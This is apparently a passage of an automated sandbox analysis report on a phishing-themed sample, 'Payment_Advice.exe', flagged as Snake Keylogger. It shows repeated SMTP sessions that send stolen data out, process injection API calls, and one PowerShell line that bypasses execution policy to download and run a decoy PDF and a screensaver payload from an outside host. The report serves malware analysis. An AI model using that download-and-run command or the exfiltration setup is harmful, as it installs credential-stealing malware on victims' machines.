May 1, 2024 15:18:23.398072958 CEST	587	49743	108.167.142.65	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 1, 2024 15:18:23.398718119 CEST	49743	587	192.168.2.7	108.167.142.65	.
May 1, 2024 15:18:23.584955931 CEST	587	49743	108.167.142.65	192.168.2.7	250 OK id=1s29qp-002MZW-0y
May 1, 2024 15:18:32.787504911 CEST	49743	587	192.168.2.7	108.167.142.65	QUIT
May 1, 2024 15:18:33.174777985 CEST	587	49743	108.167.142.65	192.168.2.7	221 gator4175.hostgator.com closing connection
May 1, 2024 15:18:33.596746922 CEST	587	49744	108.167.142.65	192.168.2.7	220-gator4175.hostgator.com ESMTP Exim 4.96.2 #2 Wed, 01 May 2024 08:18:33 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 1, 2024 15:18:33.597153902 CEST	49744	587	192.168.2.7	108.167.142.65	EHLO 124406
May 1, 2024 15:18:33.782171965 CEST	587	49744	108.167.142.65	192.168.2.7	250-gator4175.hostgator.com Hello 124406 [149.18.24.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 1, 2024 15:18:33.783207893 CEST	49744	587	192.168.2.7	108.167.142.65	AUTH login dGVzdEBxb2xkZW5mcm9udGllci5jb20=
May 1, 2024 15:18:33.969841003 CEST	587	49744	108.167.142.65	192.168.2.7	334 UGFzc3dvcmQ6
May 1, 2024 15:18:34.156584024 CEST	587	49744	108.167.142.65	192.168.2.7	235 Authentication succeeded
May 1, 2024 15:18:34.156830072 CEST	49744	587	192.168.2.7	108.167.142.65	MAIL FROM:<test@qoldenfrontier.com>
May 1, 2024 15:18:34.341757059 CEST	587	49744	108.167.142.65	192.168.2.7	250 OK
May 1, 2024 15:18:34.341912985 CEST	49744	587	192.168.2.7	108.167.142.65	RCPT TO:<receive@qoldenfrontier.com>
May 1, 2024 15:18:34.536429882 CEST	587	49744	108.167.142.65	192.168.2.7	250 Accepted
May 1, 2024 15:18:34.536693096 CEST	49744	587	192.168.2.7	108.167.142.65	DATA
May 1, 2024 15:18:34.721483946 CEST	587	49744	108.167.142.65	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 1, 2024 15:18:34.721896887 CEST	49744	587	192.168.2.7	108.167.142.65	.
May 1, 2024 15:18:34.910490036 CEST	587	49744	108.167.142.65	192.168.2.7	250 OK id=1s29r0-002Mkk-21
May 1, 2024 15:18:34.910955906 CEST	49744	587	192.168.2.7	108.167.142.65	QUIT
May 1, 2024 15:18:35.297065973 CEST	587	49744	108.167.142.65	192.168.2.7	221 gator4175.hostgator.com closing connection
May 1, 2024 15:18:35.734958887 CEST	587	49745	108.167.142.65	192.168.2.7	220-gator4175.hostgator.com ESMTP Exim 4.96.2 #2 Wed, 01 May 2024 08:18:35 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 1, 2024 15:18:35.735127926 CEST	49745	587	192.168.2.7	108.167.142.65	EHLO 124406
May 1, 2024 15:18:35.919647932 CEST	587	49745	108.167.142.65	192.168.2.7	250-gator4175.hostgator.com Hello 124406 [149.18.24.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 1, 2024 15:18:35.919945002 CEST	49745	587	192.168.2.7	108.167.142.65	AUTH login dGVzdEBxb2xkZW5mcm9udGllci5jb20=
May 1, 2024 15:18:36.104454041 CEST	587	49745	108.167.142.65	192.168.2.7	334 UGFzc3dvcmQ6
May 1, 2024 15:18:36.294116974 CEST	587	49745	108.167.142.65	192.168.2.7	235 Authentication succeeded
May 1, 2024 15:18:36.294261932 CEST	49745	587	192.168.2.7	108.167.142.65	MAIL FROM:<test@qoldenfrontier.com>
May 1, 2024 15:18:36.480974913 CEST	587	49745	108.167.142.65	192.168.2.7	250 OK
May 1, 2024 15:18:36.483011007 CEST	49745	587	192.168.2.7	108.167.142.65	RCPT TO:<receive@qoldenfrontier.com>
May 1, 2024 15:18:36.679652929 CEST	587	49745	108.167.142.65	192.168.2.7	250 Accepted
May 1, 2024 15:18:36.679847956 CEST	49745	587	192.168.2.7	108.167.142.65	DATA
May 1, 2024 15:18:36.864588976 CEST	587	49745	108.167.142.65	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 1, 2024 15:18:36.865027905 CEST	49745	587	192.168.2.7	108.167.142.65	.
May 1, 2024 15:18:37.050724030 CEST	587	49745	108.167.142.65	192.168.2.7	250 OK id=1s29r2-002MmM-2U
May 1, 2024 15:18:37.051245928 CEST	49745	587	192.168.2.7	108.167.142.65	QUIT
May 1, 2024 15:18:37.438815117 CEST	587	49745	108.167.142.65	192.168.2.7	221 gator4175.hostgator.com closing connection
May 1, 2024 15:18:37.881153107 CEST	587	49746	108.167.142.65	192.168.2.7	220-gator4175.hostgator.com ESMTP Exim 4.96.2 #2 Wed, 01 May 2024 08:18:37 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 1, 2024 15:18:37.881314039 CEST	49746	587	192.168.2.7	108.167.142.65	EHLO 124406
May 1, 2024 15:18:38.066452026 CEST	587	49746	108.167.142.65	192.168.2.7	250-gator4175.hostgator.com Hello 124406 [149.18.24.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 1, 2024 15:18:38.066719055 CEST	49746	587	192.168.2.7	108.167.142.65	AUTH login dGVzdEBxb2xkZW5mcm9udGllci5jb20=
May 1, 2024 15:18:38.257388115 CEST	587	49746	108.167.142.65	192.168.2.7	334 UGFzc3dvcmQ6
May 1, 2024 15:18:38.443741083 CEST	587	49746	108.167.142.65	192.168.2.7	235 Authentication succeeded
May 1, 2024 15:18:38.443901062 CEST	49746	587	192.168.2.7	108.167.142.65	MAIL FROM:<test@qoldenfrontier.com>
May 1, 2024 15:18:38.628559113 CEST	587	49746	108.167.142.65	192.168.2.7	250 OK
May 1, 2024 15:18:38.628998995 CEST	49746	587	192.168.2.7	108.167.142.65	RCPT TO:<receive@qoldenfrontier.com>
May 1, 2024 15:18:38.824045897 CEST	587	49746	108.167.142.65	192.168.2.7	250 Accepted
May 1, 2024 15:18:38.824176073 CEST	49746	587	192.168.2.7	108.167.142.65	DATA
May 1, 2024 15:18:39.012978077 CEST	587	49746	108.167.142.65	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 1, 2024 15:18:39.013290882 CEST	49746	587	192.168.2.7	108.167.142.65	.
May 1, 2024 15:18:39.199729919 CEST	587	49746	108.167.142.65	192.168.2.7	250 OK id=1s29r4-002MnQ-2x
May 1, 2024 15:18:39.203257084 CEST	49746	587	192.168.2.7	108.167.142.65	QUIT
May 1, 2024 15:18:39.590287924 CEST	587	49746	108.167.142.65	192.168.2.7	221 gator4175.hostgator.com closing connection
May 1, 2024 15:18:39.994204998 CEST	587	49747	108.167.142.65	192.168.2.7	220-gator4175.hostgator.com ESMTP Exim 4.96.2 #2 Wed, 01 May 2024 08:18:39 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 1, 2024 15:18:39.994446993 CEST	49747	587	192.168.2.7	108.167.142.65	EHLO 124406
May 1, 2024 15:18:40.180181980 CEST	587	49747	108.167.142.65	192.168.2.7	250-gator4175.hostgator.com Hello 124406 [149.18.24.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 1, 2024 15:18:40.180356026 CEST	49747	587	192.168.2.7	108.167.142.65	AUTH login dGVzdEBxb2xkZW5mcm9udGllci5jb20=
May 1, 2024 15:18:40.366153955 CEST	587	49747	108.167.142.65	192.168.2.7	334 UGFzc3dvcmQ6
May 1, 2024 15:18:40.556767941 CEST	587	49747	108.167.142.65	192.168.2.7	235 Authentication succeeded
May 1, 2024 15:18:40.557101965 CEST	49747	587	192.168.2.7	108.167.142.65	MAIL FROM:<test@qoldenfrontier.com>
May 1, 2024 15:18:40.741717100 CEST	587	49747	108.167.142.65	192.168.2.7	250 OK
May 1, 2024 15:18:40.741892099 CEST	49747	587	192.168.2.7	108.167.142.65	RCPT TO:<receive@qoldenfrontier.com>
May 1, 2024 15:18:40.938692093 CEST	587	49747	108.167.142.65	192.168.2.7	250 Accepted
May 1, 2024 15:18:40.941020966 CEST	49747	587	192.168.2.7	108.167.142.65	DATA
May 1, 2024 15:18:41.125916004 CEST	587	49747	108.167.142.65	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 1, 2024 15:18:41.126355886 CEST	49747	587	192.168.2.7	108.167.142.65	.
May 1, 2024 15:18:41.312248945 CEST	587	49747	108.167.142.65	192.168.2.7	250 OK id=1s29r7-002MpA-06
May 1, 2024 15:18:41.312752962 CEST	49747	587	192.168.2.7	108.167.142.65	QUIT
May 1, 2024 15:18:41.698955059 CEST	587	49747	108.167.142.65	192.168.2.7	221 gator4175.hostgator.com closing connection

Target ID:	0
Start time:	15:17:03
Start date:	01/05/2024
Path:	C:\Users\user\Desktop\Payment_Advice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment_Advice.exe"
Imagebase:	0xc30000
File size:	957'952 bytes
MD5 hash:	E708AA3160E224DE971421D5BC2FEE29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector02, Description: Detects downloader injector, Source: 00000000.00000002.1198685438.0000000005590000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:17:03
Start date:	01/05/2024
Path:	C:\Users\user\Desktop\Payment_Advice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment_Advice.exe"
Imagebase:	0xe50000
File size:	957'952 bytes
MD5 hash:	E708AA3160E224DE971421D5BC2FEE29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:17:03
Start date:	01/05/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo
Imagebase:	0x7ff663df0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:17:04
Start date:	01/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:17:04
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:17:08
Start date:	01/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Payment_Advice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:17:08
Start date:	01/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:17:08
Start date:	01/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:17:08
Start date:	01/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1700,i,16204253092957558570,3256571588782708314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	15:17:22
Start date:	01/05/2024
Path:	C:\Windows\Temp\hadvices.scr
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\hadvices.scr" /S
Imagebase:	0x990000
File size:	1'041'408 bytes
MD5 hash:	012DE24142F859797FBB5A25A7A3290D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\Temp\hadvices.scr, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs Detection: 35%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:17:23
Start date:	01/05/2024
Path:	C:\Windows\Temp\hadvices.scr
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\hadvices.scr"
Imagebase:	0xe80000
File size:	1'041'408 bytes
MD5 hash:	012DE24142F859797FBB5A25A7A3290D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	76%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 01459150 Relevance: 2.8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xq, xrefs: 0145917F
$q, xrefs: 01459166

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID:
String ID: Xq$$q
API String ID: 0-855381642
Opcode ID: f4e46067ad0589cbf3d00dbdb4d3451056e5b93ddccf0e97770307a89f8b70c8
Instruction ID: 33947bda3caf0f31b3e8ebef7b8c28322afb61e4989329103b9e6110ccb41066
Opcode Fuzzy Hash: f4e46067ad0589cbf3d00dbdb4d3451056e5b93ddccf0e97770307a89f8b70c8
Instruction Fuzzy Hash: 54816234F04219DBDB58EF79945467E7BB7BBC9300B05852EE406EB296DE389C028791

Uniqueness

Uniqueness Score: -1.00%

Function 0145AA28 Relevance: 1.9, Strings: 1, Instructions: 615
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 0145B1D8

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 2a9926d68b860c10a0a6149825202fd846c88da0b6141fbbc6701887cd3c9b65
Instruction ID: e0189099e6763574ef5f0edc54e0b57b1dfe076b64099cc4870334327a03970a
Opcode Fuzzy Hash: 2a9926d68b860c10a0a6149825202fd846c88da0b6141fbbc6701887cd3c9b65
Instruction Fuzzy Hash: C452D271D012288FEB68DF69C944BDDBBB2BF89300F5481EAD509A72A1DB345E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01459B1C Relevance: 1.7, APIs: 1, Instructions: 223
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0145B729

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 028128b288c2dab07ae1e5d12ff84cccab7eb6ad097bf26c5c4c0d3b18fe9969
Instruction ID: 7841fb73d929a0e17d93825606279a726b4e0540a97aa33ab80ca83d6d91ff59
Opcode Fuzzy Hash: 028128b288c2dab07ae1e5d12ff84cccab7eb6ad097bf26c5c4c0d3b18fe9969
Instruction Fuzzy Hash: D781D274C0026DCFDB65DFA9C884BEDBBF5AB09300F1491AAE509B7260DB309A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0145A600 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0145A6D3

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 032dc31ec779d5f4a7611c50b4debfa84cf15d94b962174fee125d50f496a3fb
Instruction ID: 8119bb5b9032fc3e426b1efd94fb5fe2959df80f494b47f2bed952b2c94b78fc
Opcode Fuzzy Hash: 032dc31ec779d5f4a7611c50b4debfa84cf15d94b962174fee125d50f496a3fb
Instruction Fuzzy Hash: 8741AAB4D012589FDF10CFA9D984ADEFBF1BB49310F24902AE819B7250D735AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01459B40 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0145BA35

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 43afc56c0cde75e9d54b4ffb680556ac957c7a547ca927f1fcc216921a031e1e
Instruction ID: 95b6e6f19ff5ae729dbd07132e8bd029a1aa763b47c8325089e4c275f0eead4f
Opcode Fuzzy Hash: 43afc56c0cde75e9d54b4ffb680556ac957c7a547ca927f1fcc216921a031e1e
Instruction Fuzzy Hash: 4C4155B9D042589FCF10CFAAD984AEEFBB5FB19310F10A02AE914B7211D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0145A758 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0145A802

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c0cbbb66325871432ec4d524300d8a5deb512a72bc55424b9a10958cba1e56ce
Instruction ID: cf35f8b1aca33b2ded2c44190530107c406adfbf26bfc99afb6ec83326e072df
Opcode Fuzzy Hash: c0cbbb66325871432ec4d524300d8a5deb512a72bc55424b9a10958cba1e56ce
Instruction Fuzzy Hash: D73197B8D002589FCF14CFA9D984ADEFBB1BB49310F20942AE915B7310D735A906CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0145A4D8 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0145A587

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d28296fe40fe28928a68b98342da80f7fd841f8f38707ce2ef0709ab02a54f1d
Instruction ID: 6099de91095a0f72a8754504d234765629468ce3cbc5d08377bb529f1d907577
Opcode Fuzzy Hash: d28296fe40fe28928a68b98342da80f7fd841f8f38707ce2ef0709ab02a54f1d
Instruction Fuzzy Hash: 8631BBB4D012589FDB14DFAAD884AEEFBF1BB49314F24802AE815B7250D738AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01459B28 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,?), ref: 0145B922

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: db11963364c8a88a4ff73d0cc4453bb38a300887ecdb8785793a4883e9dd8cbf
Instruction ID: fab35b85961a111f0265d988b9849ac5b9456c636c4e1d36898082402b211618
Opcode Fuzzy Hash: db11963364c8a88a4ff73d0cc4453bb38a300887ecdb8785793a4883e9dd8cbf
Instruction Fuzzy Hash: 6331ABB4D012589FCB10DFAAD884AEEFBF2EB08310F14902AE814B7351D378A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0145A878 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0145A8F6

Memory Dump Source

Source File: 00000000.00000002.1198258163.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Payment_Advice.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: dde35eaccbd08cb852fdf7f7bd395dc94dd028b336fdc36d8bc8ea937eb2996d
Instruction ID: 9ee35f9fcd8afab3d89ce118360c2296cdd0b243961f38bbd350ff3bca80cab1
Opcode Fuzzy Hash: dde35eaccbd08cb852fdf7f7bd395dc94dd028b336fdc36d8bc8ea937eb2996d
Instruction Fuzzy Hash: 1431CAB4D012189FCB14CFAAD880ADEFBF5BB49310F20942AE815B7310C735A902CF94

Uniqueness

Uniqueness Score: -1.00%

Function 013DD5B8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1197831107.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde76ef0aeecce88ea62fb6d80d48030ac2772e95625837a09937316c08fd7f2
Instruction ID: ae13856c34b49b965f807c537bab218a953fbc875be9e39e2942a0c625b55fad
Opcode Fuzzy Hash: cde76ef0aeecce88ea62fb6d80d48030ac2772e95625837a09937316c08fd7f2
Instruction Fuzzy Hash: 062125B2504204DFDB15DF94E9C4B26BF69FB84328F6085ADE9090B686C336D456CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 013DD4CC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1197831107.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5880bb22ed2f6cc543f4025840eef8005e0200a1a6acfe1e1d99a05e961aa0
Instruction ID: 4362a8c0362a851b0ff6441edb218c4fd9e63463d423e2eac68a08b4b3961de2
Opcode Fuzzy Hash: 5a5880bb22ed2f6cc543f4025840eef8005e0200a1a6acfe1e1d99a05e961aa0
Instruction Fuzzy Hash: 752128B2504204DFDB15DF94E9C0B26BF66FB94328F60C569D9050F296C336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013DD5B3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1197831107.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 8279b544acff391d611ad5a5326fb3ebd598922abd4fe6c64ec90ff4e5fd950f
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 2211B176504240DFCB16CF54D5C4B16BF72FB84328F2486A9D9090B697C336D456CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 013DD4C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1197831107.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
